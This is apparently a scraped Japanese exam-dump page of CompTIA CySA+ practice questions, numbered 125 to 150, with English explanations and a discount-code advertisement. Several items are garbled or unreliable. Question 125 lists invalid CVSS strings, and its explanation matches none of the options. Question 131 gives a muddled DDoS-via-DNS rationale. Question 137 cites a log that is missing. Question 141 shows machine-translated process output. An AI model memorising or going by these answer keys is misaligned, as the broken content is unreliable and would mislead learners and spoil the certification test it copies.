- D. ディレクトリ v2 をすべてのユーザーに対して読み取り専用を設定します。

正解: ([正解を表示します](#))

Limiting user creation to administrators only would work best to mitigate the attack represented by this snippet. The snippet shows an attempt to exploit a zero-day vulnerability in the ThemeREX Addons WordPress plugin, which allows remote code execution by invoking arbitrary PHP functions via the REST-API endpoint /wp-json/trx_addons/V2/get/sc_layout. In this case, the attacker tries to use the wp_insert_user function to create a new administrator account on the WordPress site¹². Limiting user creation to administrators only would prevent the attacker from succeeding, as they would need to provide valid administrator credentials to create a new user. This can be done by using a plugin or a code snippet that restricts user registration to administrators³⁴. Limiting layout creation to administrators only, setting the directory trx_addons to read only for all users, and setting the directory v2 to read only for all users are not effective controls to mitigate the attack, as they do not address the core of the vulnerability, which is the lack of input validation and sanitization on the REST-API endpoint. Moreover, setting directories to read only may affect the functionality of the plugin or the WordPress site⁵⁶. References: Zero-Day Vulnerability in ThemeREX Addons Now Patched - Wordfence, Mitigating Zero Day Attacks With a Detection, Prevention ...

- Spiceworks, How to Restrict WordPress User Registration to Specific Email ..., How to Limit WordPress User Registration to Specific Domains, WordPress File Permissions: A Guide to Securing Your Website, WordPress File Permissions: What is the Ideal Setting?

質問: 125

最近発見されたゼロデイ脆弱性が現在積極的に悪用されており、ユーザーの操作や権限昇格は不要で、機密性と完全性には大きな影響を与えるものの、可用性には影響を与えません。このゼロデイ脅威に対して最も適切なCVEメトリクスは次のうちどれでしょうか？

- A. CVSS: 31/AV: N/AC: L/PR: N/UI: N/S: U/C: H/I: K/A: L
- B. CVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
- C. CVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H
- D. CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H

正解: ([正解を表示します](#))

This answer matches the description of the zero-day threat. The attack vector is network (AV:N), the attack complexity is low (AC:L), no privileges are required (PR:N), no user interaction is required (UI:N), the scope is unchanged (S:U), the confidentiality and integrity impacts are high (C:H/I:H), and the availability impact is low (A:L). Official References: <https://nvd.nist.gov/vuln-metrics/cvss>

質問: 126

不満を抱いたオープンソース開発者が、ワイパーとして機能するロジック爆弾を使用してコードリポジトリを妨害することを決定しました。この行為は、サイバーキルチェーンの次のどの部分を示していますか？

- A. 偵察
- B. 武器化

- C. 搾取
- D. インストール

正解: **B** ([コメントを发表する](#))

Weaponization is the stage of the Cyber Kill Chain where the attacker creates or modifies a malicious payload to use against a target. In this case, the disgruntled open-source developer has created a logic bomb that will act as a wiper, which is a type of malware that destroys data on a system. This is an example of weaponization, as the developer has prepared a cyberweapon to sabotage the code repository.

References: The answer was based on the web search results from Bing, especially the following sources:

Cyber Kill Chain | Lockheed Martin, which states: "In the weaponization step, the adversary creates remote access malware weapon, such as a virus or worm, tailored to one or more vulnerabilities." The Cyber Kill Chain: The Seven Steps of a Cyberattack - EC-Council, which states: "In the weaponization stage, all of the attacker's preparatory work culminates in the creation of malware to be used against an identified target." What is the Cyber Kill Chain? Introduction Guide - CrowdStrike, which states: "Weaponization: The attacker creates a malicious payload that will be delivered to the target."

質問: **127**

従業員が、会社を狙ったマルウェアを含むフィッシングメールを受信しました。セキュリティアナリストがマルウェアの詳細を入手し、情報の漏洩を回避するための最善の方法は次のどれですか？

- A. マルウェアをVirusTotalウェブサイトにアップロードする
- B. EDRプロバイダーとマルウェアを共有する
- C. 分析を実行するために外部コンサルタントを雇う
- D. マイクロセグメント環境でローカルサンドボックスを使用する

正解: ([正解を表示します](#))

Comprehensive Detailed Explanation: To safely analyze malware while avoiding unintended disclosure of company information, it is best to use a local sandbox in a microsegmented environment. Here's why:

- * A. Upload the malware to the VirusTotal website
- * Risk: VirusTotal and similar services are public and may share uploaded files with other security vendors, potentially exposing proprietary or sensitive information.
- * B. Share the malware with the EDR provider
- * Limitation: While EDR providers may offer insight, sharing potentially sensitive malware samples externally still introduces risk of disclosure or data leaks.
- * C. Hire an external consultant to perform the analysis
- * Cost and Risk: Hiring an external consultant can be costly and may introduce risks related to third-party handling of sensitive data. Although it may provide insights, this is typically not the most efficient initial response.
- * D. Use a local sandbox in a microsegmented environment
- * Explanation: A local sandbox provides a secure, isolated environment for malware analysis without exposing sensitive data outside the organization. Microsegmentation enhances security by further isolating the sandbox from the network, preventing lateral movement if the malware attempts to communicate externally.

References:

NIST SP 800-83: Guide to Malware Incident Prevention and Handling for Desktops and Laptops.

MITRE ATT & CK: Techniques and recommendations for malware analysis in isolated environments.

質問: **128**

セキュリティアナリストは、USBインターフェースを介してソフトウェアを埋め込む攻撃ベクトルに関連する既知の悪用された脆弱性を軽減する必要があります。アナリストはまず、次のうちどれを行うべきでしょうか？

- A. 未知の暗号化されていないUSBメモリを使用するリスクに関するセキュリティ意識向上トレーニングを実施する。

- B. USBを会社の資産に接続してはならないことを説明するリムーバブルメディアポリシーを作成します。
- C. 構成を確認して、会社の資産で USB ポートが有効になっているかどうかを判断します。
- D. ログを確認して、この悪用可能な脆弱性が既に会社に影響を与えているかどうかを確認します。

正解: **C** ([コメントを發表する](#))

USB ports are a common attack vector that can be used to deliver malware, steal data, or compromise systems. The first step to mitigate this vulnerability is to check the configurations of the company assets and disable or restrict the USB ports if possible. This will prevent unauthorized devices from being connected and reduce the attack surface. The other options are also important, but they are not the first priority in this scenario.

References:

CompTIA CySA+ CS0-003 Certification Study Guide, page 247

What are Attack Vectors: Definition & Vulnerabilities, section "How to secure attack vectors" Are there any attack vectors for a printer connected through USB in a Windows environment?, answer by user "schroeder"

質問: **129**

次のセキュリティ運用タスクのうち、自動化に最適なものはどれですか？

A. 疑わしいファイルの分析:

フォルダー内で疑わしいグラフィックを探します。

見つかったグラフィックのカテゴリに基づいて、元のフォルダー内にサブフォルダーを作成します。

疑わしいグラフィックを適切なサブフォルダに移動する

B. ファイアウォール IoC ブロックアクション:

ファイアウォールのログを調べて、最近公開されたゼロデイエクスプロイトの IoC を確認します。ログで見つかった動作をブロックするためにファイアウォールで緩和アクションを実行します。ブロックルールによって発生した誤検知を追跡します。

C. セキュリティ アプリケーション ユーザー エラー:

エラーログを検索して、ユーザーがセキュリティアプリケーションで問題を抱えている兆候を探します。ユーザーの電話番号を調べます。アプリケーションの使用に関する質問があれば、ユーザーに電話します。

D. メールヘッダー分析:

メールヘッダーのフィッシング信頼度メトリックが5以上であるかどうかを確認します。送信者のドメインをブロックリストに追加します。メールを検疫に移動します。

正解: ([正解を表示します](#))

Email header analysis is one of the security operations tasks that are ideal for automation. Email header analysis involves checking the email header for various indicators of phishing or spamming attempts, such as sender address spoofing, mismatched domains, suspicious subject lines, or phishing confidence metrics. Email header analysis can be automated using tools or scripts that can parse and analyze email headers and take appropriate actions based on predefined rules or thresholds

質問: **130**

企業には次のセキュリティ要件があります。

。パブリックIPはありません

すべてのデータは保存時に保護されます

。安全でないポート/プロトコルはありません

クラウド スキャンが完了した後、セキュリティ アナリストは、いくつかの構成ミスが会社を危険にさらしているという報告を受け取ります。次のクラウド スキャナーの出力があるとします。

VM name	VM_DEV_DB	VM_PRD_Web01	VM_DEV_Web02	VM_PRD_DB
IP config	private	public	public	public
Encrypt	no	yes	yes	no
Ingress port	443, open	3389, open	22, open	80, open

セキュリティ要件を満たし、リスクを軽減するために、アナリストは次のうちどれを最初に更新することを推奨しますか？

- A. VM_PRD_DB
- B. VM_DEV_DB
- C. VM_DEV_Web02
- D. VM_PRD_Web01

正解: ([正解を表示します](#))

To determine the highest priority for remediation, we must compare the configuration of each VM against the three mandatory security requirements:

- * No public IPs
 - * All data secured at rest (Encryption = Yes)
 - * No insecure ports/protocols (No unencrypted protocols like HTTP/Telnet)
1. Analyze the Compliance of VM_PRD_DB (Option A):
- * Asset Type: Production Database (High Value Target).
 - * IP Config: public - > FAIL. (A production database should never be directly exposed to the internet; it should reside in a private subnet).
 - * Encryption: no - > FAIL. (Violates the " data secured at rest " policy).
 - * Ingress Port: 80 (HTTP) - > FAIL. (Port 80 is cleartext/unencrypted. Using an insecure protocol on a public interface puts data confidentiality at immediate risk).
 - * Conclusion: This asset violates all three security policies and exposes the organization ' s most critical data (Production DB) to the public internet via an insecure channel.
2. Why the other options are lower priority:
- * B. VM_DEV_DB:
 - * It uses a private IP (Pass) and Port 443 (Secure). It only fails the " Encryption " check. Since it is a Development box and not publicly exposed, the risk is significantly lower.
 - * C. VM_DEV_Web02:
 - * It exposes Port 22 (SSH). While exposing SSH to the internet is poor practice, SSH is a secure protocol (encrypted), unlike Port 80. It also has encryption at rest enabled.
 - * D. VM_PRD_Web01:
 - * It exposes Port 3389 (RDP). While RDP is a common attack vector (ransomware entry point), the server has " Encryption at rest " enabled (Pass).
 - * Comparison: While VM_PRD_Web01 is risky due to RDP, VM_PRD_DB is riskier because it involves a Database (higher impact than a web server) communicating over Port 80 (cleartext) with No Encryption at rest.

質問: 131

インシデント対応チームは、インターネット障害の調査を開始するよう警告を受け取りました。この機能停止により、複数の場所にいるすべてのユーザーが外部 SaaS リソースにアクセスできなくなります。チームは、組織が DDoS 攻撃の影響を受けたと判断しました。チームは次のログのうちどれを最初に確認する必要がありますか？

- A. CDN
- B. 脆弱性スキャナー
- C. DNS

D. Webサーバー

正解: ([正解を表示します](#))

A distributed denial-of-service (DDoS) attack is a type of cyberattack that aims to overwhelm a target's network or server with a large volume of traffic from multiple sources. A common technique for launching a DDoS attack is to compromise DNS servers, which are responsible for resolving domain names into IP addresses. By flooding DNS servers with malicious requests, attackers can disrupt the normal functioning of the internet and prevent users from accessing external SaaS resources. Official References: <https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack/>

質問: 132

以下の文書のうち、重要なビジネスプロセスを特定し、それらのプロセスの復旧時間目標(RTO)と復旧時点目標(RPO)を定義するために主に使用されるのはどれですか？

- A. 災害復旧計画
- B. 事業影響分析
- C. プレイブック
- D. バックアッププラン

正解: ([正解を表示します](#))

A Business Impact Analysis (BIA) is the correct document that identifies critical services and defines Recovery Point Objectives (RPOs) and Recovery Time Objectives (RTOs). It helps organizations determine the impact of downtime and the maximum tolerable outages for business functions.

- * Disaster recovery plan (A) uses the information from the BIA.
- * Playbooks (C) are tactical and focus on specific incidents.
- * Backup plans (D) support BIA but don't define RPO/RTO themselves.

Reference:

CompTIA CySA+ Study Guide - Chapple & Seidl, Chapter 9

CySA+ Exam Objectives: Domain 3.0 - Incident Response and Management

質問: 133

ある会社が社内ネットワークで新しいアプリケーションを立ち上げ、社内の顧客がサービスデスクと通信できるようにしています。セキュリティチームは、アプリケーションが異常な形式の予期しない文字列をクラッシュせずに処理できることを確認する必要があります。このような状況でアプリケーションがどのように動作するかを調べるためにアプリケーションをテストするのに最も適したプロセスは次のどれですか。

- A. ファジング
- B. コーディングレビュー
- C. デバッグ
- D. 静的解析

正解: ([正解を表示します](#))

Fuzzing is a process used to test applications by inputting unexpected or random data to see how the application behaves. This method is particularly effective in identifying vulnerabilities such as buffer overflows, input validation errors, and other anomalies that could cause the application to crash or behave unexpectedly. By using fuzzing, the security team can ensure the new application is robust and capable of handling unexpected strings with anomalous formats without crashing.

質問: 134

サイバーセキュリティアナリストはSIEMログを調査し、内部ホストからブロックリストに登録された外部サーバーへの一貫したリクエストを観察しています。アクティビティを最もよく説明しているものは次のうちどれですか？
起こっていますか？

- A. データの引き出し
- B. 不正なデバイス
- C. スキャン中
- D. ビーコン

正解: ([正解を表示します](#))

Beaconing is the best term to describe the activity that is taking place, as it refers to the periodic communication between an infected host and a blocklisted external server. Beaconing is a common technique used by malware to establish a connection with a command-and-control (C2) server, which can provide instructions, updates, or exfiltration capabilities to the malware. Beaconing can vary in frequency, duration, and payload, depending on the type and sophistication of the malware. The other terms are not as accurate as beaconing, as they describe different aspects of malicious activity. Data exfiltration is the unauthorized transfer of data from a compromised system to an external destination, such as a C2 server or a cloud storage service. Data exfiltration can be a goal or a consequence of malware infection, but it does not necessarily involve blocklisted servers or consistent requests. Rogue device is a device that is connected to a network without authorization or proper security controls. Rogue devices can pose a security risk, as they can introduce malware, bypass firewalls, or access sensitive data. However, rogue devices are not necessarily infected with malware or communicating with blocklisted servers. Scanning is the process of probing a network or a system for vulnerabilities, open ports, services, or other information. Scanning can be performed by legitimate administrators or malicious actors, depending on the intent and authorization. Scanning does not imply consistent requests or blocklisted servers, as it can target any network or system.

質問: 135

セキュリティ業務における人的介入を最小限に抑え、プロセス改善に役立つのは、次のうちどれでしょうか？

- A. OSSTMM
- B. SIEM
- C. SOAR
- D. QVVASP

正解: ([正解を表示します](#))

SOAR stands for security orchestration, automation, and response, which is a term that describes a set of tools, technologies, or platforms that can help streamline, standardize, and automate security operations and incident response processes and tasks. SOAR can help minimize human engagement and aid in process improvement in security operations by reducing manual work, human errors, response time, or complexity.

SOAR can also help enhance collaboration, coordination, efficiency, or effectiveness of security operations and incident response teams.

質問: 136

SOC マネージャーは、脆弱性を管理するための報告プロセスを確立しています。問題によって生じる潜在的な損失を特定するための最良の解決策は次のうちどれですか？

- A. トレンド
- B. リスクスコア
- C. 軽減策
- D. 優先順位付け

正解: B ([コメントを發表する](#))

A risk score is a numerical value that represents the potential impact and likelihood of a vulnerability being exploited. It can help to identify the potential loss incurred by an issue and prioritize remediation efforts accordingly. <https://www.comptia.org/training/books/cysa-cs0-003-study-guide>

有効的な**CS0-003J**問題集はJPNTTest.com提供され、**CS0-003J**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-003J**試験問題集を提供します。JPNTTest.com CS0-003J試験問題集はもう更新されました。ここで**CS0-003J**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-003J-mondaishu> **510問、30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: 137

セキュリティアナリストは、特定のユーザーによる複数回のMFAログイン成功に関するアラートを受け取りました。認証ログを確認したところ、アナリストは以下の内容を確認しました。MFAログに基づいて、以下のうち最も発生している可能性が高いのはどれですか？(2つ選択してください。)

- A. 辞書攻撃
- B. プッシュ型フィッシング
- C. 不可能な地動速度
- D. 加入者識別モジュールのスワッピング
- E. 不正アクセスポイント
- F. パスワードスプレー

正解: ([正解を表示します](#))

C). Impossible geo-velocity: This is an event where a single user 's account is accessed from different geographical locations within a timeframe that is impossible for normal human travel. In the log, we can see that the user " jdoe " is accessing from the United States and then within a few minutes from Russia, which is practically impossible to achieve without the use of some form of automated system or if the account credentials are being used by different individuals in different locations.

B). Push phishing: This could also be an indication of push phishing, where the user is tricked into approving a multi-factor authentication request that they did not initiate. This is less clear from the logs directly, but it could be inferred if the user is receiving MFA requests that they are not initiating and are being approved without their genuine desire to access the resources.

質問: 138

エンドユーザーが組織のポリシーで許可されていないウェブサイトアクセスしようとした際に、セキュリティアラートが発動しました。この行為は解雇の対象となる違反行為とみなされるため、SOCアナリストは、ユーザーのワークステーションからのウェブ検索を反映した認証ログ、ウェブログ、および一時ファイルを集め、調査の根拠を構築します。調査が人事ポリシーまたはプライバシーポリシーに準拠していることを確実にするための最善の方法は次のうちどれですか？

- A. アクティビティに関連付けられた日付スタンプ、ユーザーアカウントのホスト名、IP情報を詳細に記述したイベントのタイムラインを作成します。
- B. 事件の詳細にユーザーを特定できる情報が含まれていないことを確認する。証拠をパスワードで保護し、調査関係者以外のアクセスを制限する。
- C. チケットシステムで調査のコード名を作成し、アクセス権を持つすべての担当者が、そのケースが人事関連の調査であると容易に識別できないようにします。
- D. 意図的な活動であったことが確認された後、SOCマネージャーに通知して状況を把握してもらう。

正解: ([正解を表示します](#))

The best way to ensure that the investigation complies with HR or privacy policies is to ensure that the case details do not reflect any user-identifiable information, such as name, email address, phone number, or employee ID. This can help protect the privacy and confidentiality of the user and prevent any potential discrimination or retaliation. Additionally, password protecting the evidence and restricting access to personnel related to the investigation can help preserve the integrity and security of the evidence and prevent any unauthorized or accidental disclosure or modification.

質問: 139

セキュリティアナリストが、同じ企業および地域に属する複数の送信元ネットワークから、可能性のあるネットワークアドレスを特定しようとしています。以下のシェルスクリプト関数のうち、目的達成に役立つものはどれでしょうか？

- A. `function w() { a=$(ping -c 1 $1 | awk-F "/" 'END{print $1}') && echo "$1 | $a" }`
- B. `function x() { b=traceroute -m 40 $1 | awk 'END{print $1}') && echo "$1 | $b" }`

C. C. function y() { dig \$(dig -x \$1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print \$1}').origin.asn.cymru.com TXT +short }

D. function z() { c=\$(geoiplookup\$1) & & echo "\$1 | \$c" }

正解: ([正解を表示します](#))

The shell script function that could help identify possible network addresses from different source networks belonging to the same company and region is:

function y() { dig \$(dig -x \$1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print \$1}').origin.asn.cymru.com TXT +short } This function takes an IP address as an argument and performs two DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hostname associated with the IP address. The second lookup uses the origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address, such as the country code, registry, or allocation date.

The function then prints the IP address and the ASN information, which can help identify any network addresses that belong to the same ASN or region

質問: **140**

すべてのネットワーク ユーザーが既知のソースからの添付ファイルのみを開くように組織が取り組んでいる脅威の概念を最もよく表しているものは次のうちどれですか？

A. ハクティビストの脅威

B. 高度な持続的脅威

C. 意図しない内部関係者の脅威

D. 国民国家の脅威

正解: ([正解を表示します](#))

An unintentional insider threat is a type of network security threat that occurs when a legitimate user of the network unknowingly exposes the network to malicious activity, such as opening a phishing email or a malware-infected attachment from an unknown source. This can compromise the network security and allow attackers to access sensitive data or systems. The other options are not related to the threat concept of ensuring that all network users only open attachments from known sources.

ReferencesCompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 1: Threat and Vulnerability Management, page 13.What is Network Security | Threats, Best Practices | Imperva, Network Security Threats and Attacks, Phishing section.Five Ways to Defend Against Network Security Threats, 2. Use Firewalls section.

質問: **141**

IT担当者がLinuxのtopコマンドの出力結果を確認しています。この会社では、IT部門とセキュリティ部門のスタッフのみが管理者権限を持つことが許可されています。両部門とも、管理者権限を必要とする作業は行っていないことを確認しています。以下の出力結果に基づき、

PID

ユーザー

VIRT

RES

SHR

%CPU

%MEM

タイム+

指示

34834

人

4980644

224288

111076

5.3

14.44
1:41.44
シナモン
34218
人
51052
30920
23828
4.7
0.2
0:26.54
Xorg
2264
根
449628
143500
26372
14.0
3.1
0:12.38
バッシュ
35963
xrdp
711940
42356
10560
2.0
0.2
0:06.81
xrdp

以下のPIDのうち、データ漏洩に最も寄与する可能性が高いのはどれですか？

- A.** 2264
- B.** 34218
- C.** 34834
- D.** 35963

正解: **A** ([コメントを发表する](#))

* PID 2264 (bash running as root) is suspicious because:

* It has elevated privileges (root user).

* Bash (command-line shell) is running with high CPU usage (14.0%), which is unusual unless actively being used.

* If unauthorized, an attacker could be exfiltrating data via command-line methods like scp, wget, or custom scripts.

Why Not Other Options?

* B (34218 - Xorg) # Xorg is a display server for GUI; no signs of exfiltration.

* C (34834 - Cinnamon) # Cinnamon is a desktop environment, not a threat.

* D (35963 - xrdp) # xrdp is a remote desktop service, expected behavior.

Reference: CompTIA CySA+ CS0-003, Chapter 6: " Host-Based Security Monitoring, " Section: " Analyzing Suspicious Processes and Privileged Activity. "

質問: 142

SOC アナリストは、重複を削除することで、報告されたアラームのかなりの数を閉じることができると判断しました。アナリストが最小限の労力でアラームの数を減らすのに役立つのは次のどれですか。

A. SOAR

B. API

C. XDR

D. REST

正解: ([正解を表示します](#))

Security Orchestration, Automation, and Response (SOAR) can help the SOC analyst reduce the number of alarms by automating the process of removing duplicates and managing security alerts more efficiently.

SOAR platforms enable security teams to define, prioritize, and standardize response procedures, which helps in reducing the workload and improving the overall efficiency of incident response by handling repetitive and low-level tasks automatically.

質問: 143

脆弱性管理チームは評価中に4つの重大な脆弱性を発見し、今後の対策の優先順位付けのために報告書を作成する必要があります。以下の脆弱性のうち、対策プロセスにおいて最も優先順位が高いのはどれでしょうか？

A. 関連する脅威とLoCを持ち、異なる業界を標的とする脆弱性

B. SIEMで発見されたLoCを含む、特定の攻撃キャンペーンに関連する脆弱性

C. 攻撃者が使用していない、または関連するLoCがない脆弱性

D. loC のない、隔離されたシステムに関連する脆弱性

正解: ([正解を表示します](#))

A vulnerability that is related to a specific adversary campaign, with loCs found in the SIEM, should have the highest priority for the mitigation process. This is because it indicates that the vulnerability is actively being exploited by a known threat actor, and that the organization's security monitoring system has detected signs of compromise. This poses a high risk of data breach, service disruption, or other adverse impacts.

References: How to Prioritize Vulnerabilities Effectively: Vulnerability Prioritization Explained, Section:

How to prioritize vulnerabilities step by step to avoid drowning in sea of problems; CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 156.

質問: 144

規制の厳しい企業において、セキュリティインシデントの影響を最小限に抑えるため、サイバーセキュリティアナリストは組織のクラウドサービスに監査設定を構成しました。アナリストが構成したセキュリティ制御は次のうちどれですか？

A. 予防的

B. 修正

C. 指令

D. 探偵

正解: ([正解を表示します](#))

Audit settings provide visibility into user actions and system events. These are classified as detective controls because they enable the detection of anomalies, policy violations, or unauthorized access by generating logs or alerts. They do not prevent actions (Preventive) or reverse harm (Corrective), nor do they provide policy guidance (Directive).

Reference: CompTIA CySA+ All-in-One by Mya Heath, Chapter 13, "Vulnerability Handling and Response" - Control Types and Functions.

Objective: 2.5 - Explain the importance of prioritization, remediation, and mitigation of vulnerabilities.

質問: 145

ある組織は、過去1年間に複数の重大なシステム障害が発生したことを受け、正式な変更管理プロセスを確立しました。システム障害の影響を軽減するために、変更管理プロセスには次のうちどれが重要な要素として含まれるでしょうか？(2つ選択してください。)

- A. 展開前に、文書システム復旧計画をユーザーに確認してください。
- B. 変更後にシステムレベルの完全バックアップを実行します。
- C. 監査ツールを活用して、行われている変更を特定します。
- D. 変更によって影響を受ける可能性のある依存関係のある資産を特定します。
- E. すべての重要システムについて図の作成を義務付ける。
- F. すべての資産が在庫管理システムに正しく登録されていることを確認してください。

正解: D,F ([コメントを発表する](#))

The correct answers for key factors in the change management process to reduce the impact of system failures are:

D). Identify assets with dependence that could be impacted by the change.

F). Ensure that all assets are properly listed in the inventory management system.

D). Identify assets with dependence that could be impacted by the change: This is crucial in change management because understanding the interdependencies among assets can help anticipate and mitigate the potential cascading effects of a change. By identifying these dependencies, the organization can plan more effectively for changes and minimize the risk of unintended consequences that could lead to system failures.

F). Ensure that all assets are properly listed in the inventory management system: Maintaining an accurate and comprehensive inventory of assets is fundamental in change management. Knowing exactly what assets the organization possesses and their characteristics allows for better planning and impact analysis when changes are made. This ensures that no critical component is overlooked during the change process, reducing the risk of failures due to incomplete information.

Other Options:

A). Ensure users document system recovery plan prior to deployment: While documenting a system recovery plan is important, it's more related to disaster recovery and business continuity planning than directly reducing the impact of system failures due to changes.

B). Perform a full system-level backup following the change: While backups are essential, they are generally a reactive measure to recover from a failure, rather than a proactive measure to reduce the impact of system failures in the first place.

C). Leverage an audit tool to identify changes that are being made: While using an audit tool is helpful for tracking changes and ensuring compliance, it is not directly linked to reducing the impact of system failures due to changes.

E). Require diagrams to be completed for all critical systems: While having diagrams of critical systems is useful for understanding and managing them, it is not a direct method for reducing the impact of system failures due to changes. Diagrams are more about documentation and understanding rather than proactive change management.

質問: 146

レポートには、Web アプリケーションの特定のバージョンの脆弱性を悪用するゼロデイ エクスプロイトの IoC および TTP 情報が含まれています。レポートを受け取った後、SOC アナリストが最初に実行する必要があるアクションは次のうちどれですか。

- A. 環境が危険にさらされているかどうかを判断するために脆弱性スキャンを実装します。
- B. Web プロキシおよびファイアウォールのレポートから IP アドレスとドメインをブロックします。

C. 情報が組織に関連しているかどうかを確認します。

D. Web アプリケーション ログを分析して、疑わしいアクティビティや悪意のあるアクティビティを特定します。

正解: ([正解を表示します](#))

Before taking any action, the SOC analyst should first verify if the Indicators of Compromise (IoC) and Tactics, Techniques, and Procedures (TTPs) reported are relevant to the organization's environment. This involves checking if the vulnerable application or version is actually in use. As per CompTIA's CySA+ guidelines, relevance verification helps in prioritizing resources and response actions effectively, ensuring that time is not wasted on threats that do not impact the organization. Options A, B, and D are important subsequent steps if the threat is deemed relevant.

質問: 147

機密データへのアクセスを保護するための最適な認証方法はどれですか？

A. ログイン用のランダムコードを生成する割り当てられたデバイス

B. 生体認証とログイン用の個人コードを備えたデバイス

C. ログイン用の英数字/特殊文字のユーザー名とパスワード

D. メールで受信したワンタイムコードとログイン用のプッシュ認証

正解: ([正解を表示します](#))

The best practice for securing access to sensitive data is to implement multifactor authentication (MFA), which combines multiple factors of authentication to enhance security.

* Option B (Biometrics + Device with a Personalized Code) uses two strong factors:

* Biometrics (something you are)

* A device with a personalized code (something you have) This combination significantly reduces the risk of unauthorized access.

* Option A (Randomized Code) is good but weaker than biometrics because it relies only on something you have.

* Option C (Passphrase) is single-factor authentication, which is susceptible to brute-force attacks.

* Option D (One-time Code + Push Notification) is useful, but email-based authentication can be vulnerable to phishing and MITM attacks.

質問: 148

ある企業が、自社の機密情報がダークウェブ上で売買されていることを発見した。

セキュリティアナリストは、脅威ハンティングを用いて侵害の兆候を探します。

ネットワークパケットキャプチャツールを実行した後、アナリストは以下のような数百万個のパケットを特定します。

インターネットプロトコルバージョン4、送信元: 192.168.1.2、宛先: 104.21.75.76

インターネット制御メッセージプロトコル

タイプ: 8 エコーリクエスト

コード: 0

チェックサム: 0x34db [正しい]

シーケンス番号: 3362

応答が見られません

データ: 64バイト

データペイロード: 0e1bS8...157ea2054af44...9865b34857a05...24b45824...

アナリストは、その他の異常を検出または特定していません。このシナリオにおいて、悪意のある活動として最も可能性が高いのは次のうちどれですか？

A. 内部関係者がIPコマンド&コントロールチャネルを使用して機密情報を販売している。

B. 脅威アクターが代替プロトコルを使用してデータ流出を実行しています。

C. マシンがウイルスに感染し、ウイルスが拡散しようとしています。

D. ハクティビストが会社に対してICMP DDoS攻撃を行っています。

正解: ([正解を表示します](#))

The correct answer is B because the packet capture shows ICMP echo request traffic carrying data in the packet payload. ICMP echo requests are normally used for ping-style connectivity checks, not for transferring business data. The presence of millions of ICMP packets with payload data, combined with the fact that proprietary information is already appearing on the dark web, strongly indicates data exfiltration over an alternative protocol, often described as ICMP tunneling or protocol misuse.

The official CompTIA CySA+ CS0-003 objectives place this directly under Security Operations, specifically analyzing indicators of potentially malicious activity and using packet capture tools. The objectives explicitly include data exfiltration, unexpected outbound communication, packet capture, Wireshark, and tcpdump as relevant skills and tools for determining malicious activity. Supporting extract from the CySA+ Study Guide: ICMP echo requests are produced by ping, and "Ping communications take place using the Internet Control Message Protocol (ICMP)." This confirms that the observed Type 8 echo request traffic is ICMP ping-style traffic, not a normal file-transfer or application protocol.

Supporting extract from the Secbay CySA+ guide: "Data Exfiltration: Unauthorized transfer of sensitive data from a system, potentially indicating a data breach or insider threat activity." The same section also states that

"Unexpected Outbound Communication" can indicate communication with malicious or unauthorized entities.

Why the other options are incorrect:

A is not the best answer because the evidence does not prove an insider or a command-and-control channel.

The packet capture shows ICMP echo requests with data payloads, which points more directly to exfiltration.

C is incorrect because there is no evidence of malware propagation, scans, sweeps, or attempts to infect other systems.

D is incorrect because an ICMP DDoS would normally involve traffic intended to overwhelm a target. Here, the key indicator is data being carried inside ICMP echo request packets, and the business context is stolen proprietary information on the dark web.

Therefore, the most likely malicious activity is exfiltration over an alternative protocol.

質問: 149

セキュリティ アナリストは最近、Arachni を使用して、新しく開発された Web アプリケーションの脆弱性評価を実行しました。アナリストは、次の出力について懸念しています。

[+] XSS: フォーム入力 'txtSearch' のアクションが https://localhost/search.aspx である

[-] XSS: レスポンス #1 を分析しています...

[-] XSS: レスポンス #2 を分析しています...

[-] XSS: レスポンス #3 を分析しています...

[+] XSS: 応答が汚染されています。脆弱性の証拠を探しています。

この脆弱性の原因として最も可能性が高いのは次のどれですか？

A. 開発者は search.aspx の特定のフィールドに入力検証保護を設定しました。

B. 開発者がヘッダーに適切なクロスサイトスクリプティング保護を設定していませんでした。

C. 開発者は、Web アプリケーションのビルドにデフォルトの保護を実装しませんでした。

D. 開発者が適切なクロスサイトリクエストフォージェリ保護を設定していませんでした。

正解: ([正解を表示します](#))

The most likely reason for this vulnerability is B. The developer did not set proper cross-site scripting protections in the header. Cross-site scripting (XSS) is a type of web application vulnerability that allows an attacker to inject malicious code into a web page that is viewed by other users. XSS can be used to steal cookies, session tokens, credentials, or other sensitive information, or to perform actions on behalf of the victim¹.

One of the common ways to prevent XSS attacks is to set proper HTTP response headers that instruct the browser how to handle the content of the web page. For example, the Content-Type header can specify the MIME type and character encoding of the web page, which can help the browser avoid interpreting data as code. The X-XSS-Protection header can enable or disable the browser's built-in XSS filter, which can block or sanitize suspicious scripts. The Content-Security-Policy header can define a whitelist of sources and directives that control what resources and scripts can be loaded or executed on the web page².

According to the output of Arachni, a web application security scanner framework³, it detected an XSS vulnerability in the form input 'txtSearch' with action https://localhost/search.aspx. This means that Arachni was able to inject a malicious script into the input field and observe its execution in the response. This indicates that the developer did not set proper cross-site scripting protections in the header of search.aspx, which allowed Arachni to bypass the browser's default security mechanisms and execute arbitrary code on the web page.

質問: 150

脆弱性アナリストはシステム脆弱性のリストを受け取り、それらの脆弱性を悪用した場合のビジネスへの影響を評価する必要があります。現在のスプリントの制約上、修復できるのは3つだけです。CVSS3.1の基本スコアを考慮すると、以下のうち最も影響の少ないリスクはどれでしょうか？

- A. AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:L - 基本スコア 6.0
- B. AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:L - 基本スコア 7.2
- C. AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H - 基本スコア 6.4
